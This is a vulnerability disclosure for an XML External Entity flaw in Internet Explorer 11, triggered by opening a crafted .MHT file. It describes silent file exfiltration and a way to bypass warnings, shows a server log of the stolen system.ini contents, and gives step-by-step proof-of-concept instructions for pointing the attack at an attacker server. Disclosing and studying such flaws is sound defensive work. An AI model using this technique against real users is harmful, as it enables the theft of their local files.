[Product]
Microsoft Internet Explorer v11
(latest version)

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.


[Vulnerability Type]
XML External Entity Injection



[CVE Reference]
N/A



[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.

However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.

Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -


Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.



[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY



[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.
